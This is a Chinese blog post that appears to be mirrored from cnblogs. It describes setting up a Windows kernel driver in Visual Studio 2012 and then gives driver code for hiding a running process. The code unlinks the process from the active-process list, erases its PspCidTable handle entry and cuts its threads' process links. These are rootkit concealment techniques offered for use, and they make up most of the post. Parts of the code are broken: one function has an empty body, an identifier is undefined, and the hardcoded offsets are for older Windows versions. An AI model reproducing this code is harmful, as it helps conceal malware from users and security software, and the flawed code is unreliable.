zoukankan      html  css  js  c++  java
  • 用Visual studio2012在Windows8上开发内核中隐藏进程

    在Windows NT中,80386保护模式的“保护”比Windows 95中更坚固,这个“镀金的笼子”更加结实,更加难以打破。在Windows 95中,至少应用程序I/O操作是不受限制的,而在Windows NT中,我们的应用程序连这点权限都被剥夺了。在NT中几乎不太可能进入真正的ring0层。 
    在Windows NT中,存在三种Device Driver:

      1.“Virtual device Driver” (VDD)。通过VDD,16位应用程序,如DOS 和Win16应用程序可以访问特定的I/O端口(注意,不是直接访问,而是要通过VDD来实现访问)。

      2.“GDI Driver”,提供显示和打印所需的GDI函数。

      3.“Kernel Mode Driver”,实现对特定硬件的操作,比如说CreateFile, CloseHandle (对于文件对象而言), ReadFile, WriteFile, DeviceIoControl 等操作。“Kernel Mode Driver”还是Windows NT中唯一可以对硬件中断和DMA进行操作的Driver。SCSI 小端口驱动和 网卡NDIS 驱动都是Kernel Mode Driver的一种特殊形式。

     

     

    Visual studio2012与Windows8带来格外不同的新体验

     

    1.启动Vs2012


    2.看见满目的驱动开发模板

    3.选择一个驱动模式,有内核模式与用户模式两种的驱动

     

    4.创建一个驱动程序,KMDF DriverMVP

     

    5.我们选择的是内核模式的驱动程序,下面是创建成功后的界面,分别是驱动程序本身,与驱动安装包

    6.按下F5,选择驱动编译,

     


    插入下列代码实现内核隐藏进程

    头文件

    #ifndef DBGHELP_H
    #define DBGHELP_H 1
    
    
    
    
    #include <ntifs.h>
    
    
    
    
    /************************************************************************/
    /* 重量级结构的申明                                                                     */
    /************************************************************************/
    
    
    typedef struct _HANDLE_TABLE {
        ULONG Flags;
        LONG HandleCount;
        PHANDLE_TABLE_ENTRY **Table;
        struct _EPROCESS *QuotaProcess;
        HANDLE UniqueProcessId;
        LONG FirstFreeTableEntry;
        LONG NextIndexNeedingPool;  
        ERESOURCE HandleTableLock; 
        LIST_ENTRY HandleTableList;
        KEVENT HandleContentionEvent;
    } HANDLE_TABLE, *PHANDLE_TABLE;  
    
    typedef BOOLEAN (*EX_ENUMERATE_HANDLE_ROUTINE)(
    											   IN PHANDLE_TABLE_ENTRY HandleTableEntry,
    											   IN HANDLE Handle,
    											   IN PVOID EnumParameter
    											   );
    typedef BOOLEAN(*__ExEnumHandleTable)(
    									  IN PHANDLE_TABLE HandleTable,
    									  IN EX_ENUMERATE_HANDLE_ROUTINE EnumHandleProcedure,
    									  IN PVOID EnumParameter,
    									  OUT PHANDLE Handle OPTIONAL 
        );
    
    typedef BOOLEAN (*EXENUMHANDLETABLE)(
    									 IN PHANDLE_TABLE HandleTable,
    									 IN EX_ENUMERATE_HANDLE_ROUTINE EnumHandleProcedure,
    									 IN PVOID EnumParameter,
    									 OUT PHANDLE Handle OPTIONAL
    									   );
    
    /************************************************************************/
    /* 申明一些全局变量                                                                     */
    /************************************************************************/
    ULONG    g_Offset_Eprocess_Name=0;
    ULONG    g_Offset_Eprocess_Flink = 0;
    ULONG    g_Offset_Eprocess_ProcessId = 0;
    ULONG    g_Offset_Eprocess_HandleTable = 0;
    __ExEnumHandleTable ExEnumHandleTable ;
    
    PEPROCESS  g_pEprocess_System = 0;
    ULONG trytimes=0;
    ULONG error=0;
    
    /************************************************************************/
    /* 申明一些函数                                                                     */
    /************************************************************************/
    
    BOOLEAN EnumHandleCallback(PHANDLE_TABLE_ENTRY HandleTableEntry,IN HANDLE Handle,PVOID EnumParameter
    );
    
    
    NTSTATUS 
    EraseObjectFromHandleTable(
    						   PHANDLE_TABLE pHandleTable,
    						   IN ULONG ProcessId 
    );
    
    VOID RemoveNodeFromActiveProcessLinks(
      IN ULONG ProcessId
      );
    
    VOID
    HideProcessById(
      IN ULONG ProcessId
    );
    
    
    NTSTATUS 
    LookupProcessByName(
    					OUT PEPROCESS pEprocess 
    					);
    
    NTSTATUS 
    InitializeCommonVariables(
        );
    
    NTSTATUS GetProcessNameOffset(
    					 OUT PULONG Offset OPTIONAL 
    );
    
    BOOLEAN IsValidModule(ULONG i);
    
    void Search();
    
    ULONG GetAddrFromProcessId();
    
    
    VOID ClearMZMask();
    
    #endif


     

     

    源文件

    VOID BreakThreadByProcess(ULONG Pid)
    {
    /*++
    
    Routine Description:
    
    	将所有线程ETHREAD结构的ThreadsProcess抹掉
    
    Return Value:
    VOID
    
    --*/
    	PEPROCESS eProcess;
    	PETHREAD eThread;
    	PLIST_ENTRY pList;
    	
    	PsLookupProcessByProcessId(Pid,&eProcess);
    	pList = eProcess->Pcb.ThreadListHead.Blink;
    	while (pList != eProcess->Pcb.ThreadListHead.Flink)
    	{
    		eThread = (PETHREAD)(CONTAINING_RECORD(pList,KTHREAD,ThreadListEntry));
    		eThread->ThreadsProcess = 0;
    		pList = pList->Blink;
    	}
    	
    }
    
    
    VOID ClearMZMask()
    {
    /*++
    
    
    
    Routine Description:
    
    	擦除PE文件MZ,PE标志
    
    Return Value:
    VOID
    
    --*/
    	PVOID addr;
    	ULONG pid;
    	PEPROCESS eProcess;
    	KAPC_STATE apcstatus;
    
    
    	pid = ProtectPid;
    	PsLookupProcessByProcessId(pid,&eProcess);
    
    	KeStackAttachProcess(eProcess,&apcstatus);
    
    
    	KeUnstackDetachProcess(&apcstatus);
    }
    
    
    
    ULONG GetAddrFromProcessId() 
    { 
    /*++
    
    
    
    Routine Description:
    
    	搜索PsLookupProcessByProcessId函数得到PspCidTable的地址
    	ppPspCidTable:返回PspCidTable表地址
    
    Return Value:
    VOID
    
    --*/
    	UNICODE_STRING pslookup; 
    	PUCHAR  addr; 
    	PUCHAR p; 
    	ULONG q; 
    	RtlInitUnicodeString(&pslookup,L"PsLookupProcessByProcessId"); 
    	addr=(PUCHAR)MmGetSystemRoutineAddress(&pslookup); 
    	
    	for(p=addr;p<addr+PAGE_SIZE;p++) 
    	{ 
    		if((*(PUSHORT)p==0x35ff)&&(*(p+6)==0xe8)) 
    		{   
    			q=*(PULONG)(p+2); 
    			return q; 
    			break; 
    		} 
    	} 
    	return 0; 
    }
    
    
    
    
    
    BOOLEAN 
    EnumHandleCallback(
    IN PHANDLE_TABLE_ENTRY HandleTableEntry,
    IN HANDLE Handle,
    IN OUT PVOID EnumParameter 
    )
    {
        if(ARGUMENT_PRESENT(EnumParameter)&&*(HANDLE*)EnumParameter==Handle)
        {
            *(PHANDLE_TABLE_ENTRY*)EnumParameter=HandleTableEntry ;
            return TRUE ;
        }
        return FALSE ;
    }
    
    
    
    
    
    // 修改一下,可以传递要擦除的ID做参数
    NTSTATUS 
    EraseObjectFromHandleTable(
    PHANDLE_TABLE pHandleTable,
    IN ULONG ProcessId 
    )
    {
    /*++
    
    
    
    Routine Description:
      擦出PspCidTable结构中的句柄
      pHandleTable:指向句柄表指针
      ProcessId:进程的PID
     Return Value:
    VOID
    
    --*/
    
        NTSTATUS status ;
        
        PVOID EnumParameter ;
        UNICODE_STRING uniExEnumHandleTable ;
        
        __ExEnumHandleTable ExEnumHandleTable ;
        
        status=STATUS_NOT_FOUND ;
        EnumParameter=ProcessId ;
        
        
        RtlInitUnicodeString(&uniExEnumHandleTable,L"ExEnumHandleTable");
        ExEnumHandleTable=MmGetSystemRoutineAddress(&uniExEnumHandleTable);
        
        if(NULL==ExEnumHandleTable)
        {
            return STATUS_NOT_FOUND ;
        }
        
        // Enum后可以擦除,Callback过程中不能擦除
        if(ExEnumHandleTable(pHandleTable,EnumHandleCallback,&EnumParameter,NULL))
        {
            InterlockedExchangePointer(&((PHANDLE_TABLE_ENTRY)EnumParameter)->Object,NULL);
            status=STATUS_SUCCESS ;
        }
        
        return status ;
    }
    
    
    
    
    
    VOID RemoveNodeFromActiveProcessLinks(
      IN ULONG ProcessId
      )
    {
    /*++
    
    
    
    Routine Description:
      移除进程EPROCESS结构中的ActiveProces中自己的链表
      ProcessId:进程的PID
     Return Value:
    VOID
    
    --*/
    	NTSTATUS status;
    
        LIST_ENTRY  *pListEntry;
        PEPROCESS  pEprocess;
    	status = PsLookupProcessByProcessId(ProcessId,&pEprocess);
    	if (!NT_SUCCESS(status))
    	{
    		DbgPrint("PsLookupProcessByProcessId Error!\n");
    		return ;
    	}
    //	ObDereferenceObject(pEprocess);
    
    
    	pListEntry = (LIST_ENTRY *)((ULONG)pEprocess + 0x88);
    
    	pListEntry->Flink->Blink = pListEntry->Blink;
    	pListEntry->Blink->Flink = pListEntry->Flink;
    
    
    }
    
    
    VOID
    HideProcessById(
    				IN ULONG ProcessId 
    				)
    {
        NTSTATUS status ;
        HANDLE_TABLE *pPspCidTable ;
        PEPROCESS pCsrssEprocess=NULL ;
        
        
    
            status=InitializeCommonVariables();
    
        
        pPspCidTable = (HANDLE_TABLE *)GetAddrFromProcessId();
        
        
    
        status=LookupProcessByName(pCsrssEprocess);
        
    
       
        // 先从活动进程链表中摘除
       RemoveNodeFromActiveProcessLinks(ProcessId);
        
        
        // 擦除PspCidTable中对应的Object
        EraseObjectFromHandleTable(pPspCidTable,ProcessId);
        
        
        // 擦除Csrss进程中那份表,无数次蓝屏,所以坚决放弃
    //    EraseObjectFromHandleTable(*(PULONG)((ULONG)pCsrssEprocess+0x0c4),ProcessId);
        
        
        return ;
    }
    
    
    
    NTSTATUS 
    LookupProcessByName(
    					OUT PEPROCESS pEprocess 
    					)
    {
    	PEPROCESS esProcess;
    	LIST_ENTRY *listen;
    	esProcess = PsGetCurrentProcess();
    
    	while (1)
    	{
    		listen = ((LIST_ENTRY *)((ULONG)esProcess + 0x88))->Blink;
    		esProcess= (EPROCESS *)((ULONG)listen - 0x88);
    		DbgPrint("Process is %s\n",(WCHAR *)((ULONG)esProcess + 0x174));
    		if (!strncmp((WCHAR *)((ULONG)esProcess + 0x174),"csrss.exe",strlen("csrss.exe")))
    		{
    			DbgPrint("Process Name is %s\n",(WCHAR *)((ULONG)esProcess + 0x174));
    			pEprocess = esProcess;
    			DbgPrint("CSRSSS EPROCESS IS 0x%x\n",(ULONG)esProcess);
    			return STATUS_SUCCESS;
    			break;
    		}
    		listen = ((LIST_ENTRY *)((ULONG)esProcess + 0x88));
    	} 
    
    }
    
    
    
    NTSTATUS 
    GetProcessNameOffset(
    					 OUT PULONG Offset OPTIONAL 
    					 )
    {
        NTSTATUS status ;
        PEPROCESS curproc ;
        ULONG i ;
        
        if(!MmIsAddressValid((PVOID)Offset))
        {
            status=STATUS_INVALID_PARAMETER ;
            return status ;
        }
        
        curproc=PsGetCurrentProcess();
        
        //
        // 然后搜索KPEB,得到ProcessName相对KPEB的偏移量
        // 偏移174h的位置,这里存的是进程的短文件名,少数地方用,
        // 比如SoftIce的addr和proc命令,如果名称超过16个字符直接截断
        
        // Scan for 12KB, hopping the KPEB never grows that big!
        //
        for(i=0;i<3*PAGE_SIZE;i++)
        {
            
            if(!strncmp("System",(PCHAR)curproc+i,strlen("System")))
            {
                *Offset=i ;
                status=STATUS_SUCCESS ;
                break ;
            }
        }
        return status ;
    }
    
    
    NTSTATUS 
    InitializeCommonVariables(
    )
    {
        NTSTATUS status ;
        ULONG uMajorVersion ;
        ULONG uMinorVersion ;
        
        status=GetProcessNameOffset(&g_Offset_Eprocess_Name);
        
        if(!NT_SUCCESS(status))
        {
            return status ;
        }
        
        g_pEprocess_System=PsGetCurrentProcess();
        
        PsGetVersion(&uMajorVersion,&uMinorVersion,NULL,NULL);
        
        if(uMajorVersion==4&&uMinorVersion==0)
        {
            g_Offset_Eprocess_Flink=152 ;
            // Stop supporting NT 4.0
            return STATUS_UNSUCCESSFUL ;
        }
        else if(uMajorVersion==5&&uMinorVersion==0)
        {
            g_Offset_Eprocess_ProcessId=156 ;
            g_Offset_Eprocess_Flink=160 ;
            g_Offset_Eprocess_HandleTable=0x128 ;
        }
        else if(uMajorVersion==5&&uMinorVersion==1)
        {
            g_Offset_Eprocess_ProcessId=132 ;
            g_Offset_Eprocess_Flink=136 ;
            g_Offset_Eprocess_HandleTable=0xC4 ;
        }
        else if(uMajorVersion==5&&uMinorVersion==2)
        {
            g_Offset_Eprocess_ProcessId=132 ;
            g_Offset_Eprocess_Flink=136 ;
            g_Offset_Eprocess_HandleTable=0xC4 ;
        }
        
        return STATUS_SUCCESS ;
    }
    
    /*++
    
    Routine Description:
      得到各个变量的偏移
     Return Value:
    VOID
    
    --*/


     

     

     

  • 相关阅读:
    Atitit sumdoc t5 final file list \sumdoc t5 final\sumdoc t511 \sumdoc t5 final\sumdoc t511.zip \sum
    上课流程法如何上好第一节课(1) 目录 1. 目录 1 1.1. 销售自己 1 1.2. 销售课程 1 1.3. 学习方法 1 1.4. 制定规章 2 2. 销售自己自我介绍 2 2.1.
    Atitit 重复文件清理工具 按照文件名 目录 1. 原理, 1 1.1. If base filex exist dele other files 1 1.2. Get getStartIdex
    Atitit sumdoc index 2019 v6 t56 .docx Atitit sumdoc index s99 目录 1. Zip ver 1 1.1. C:\Users\Adminis
    Atitit lucence es solr的各种query 与sql运算符的对比 目录 1.1. 等于运算 TermQuery 1 1.2. 范围运算 1 1.3. 大小运算 1 1.4. Wi
    Atitit 程序设计概论 艾提拉著作 目录 1. 界面ui设计 1 2. 编程语言部分 1 3. 面向对象的程序设计 1 4. 算法章节 数据结构 1 5. 第21章 标准库 2 5.1. 文件i
    Atitit 命令行执行sql 跨语言 目录 1.1. 无需输入密码,那就不要p参数即可 1 1.2. 4.使用mysql命令执行 1 1.3. 5.mysql命令执行sql,并将查询结果保存到
    Atitit java播放 wav MIXER 混响器编程 目录 1.1. MIXER 混响器编程 1 1.2. 得到系统中一共有多少个混音器设备: 1 1.3. 接口摘要 1 1.4. 调节音量
    Atitit object 和class的理解 目录 1.1. 发现很多Object的方法都是相同的,他们被重复地放在一个个对象当中,太浪费了。 1 1.2. 那我们怎么把这些Object给创建起来
    Atitit 数据库的历史与未来 目录 1.1. 两个对于数据库强需求的行业。电信 金融 1 1.2. 艾提拉分析 对数据库强需求行业金融 1 2. 数据库历史 2 2.1. ,上个世纪50,6
  • 原文地址:https://www.cnblogs.com/new0801/p/6177718.html
Copyright © 2011-2022 走看看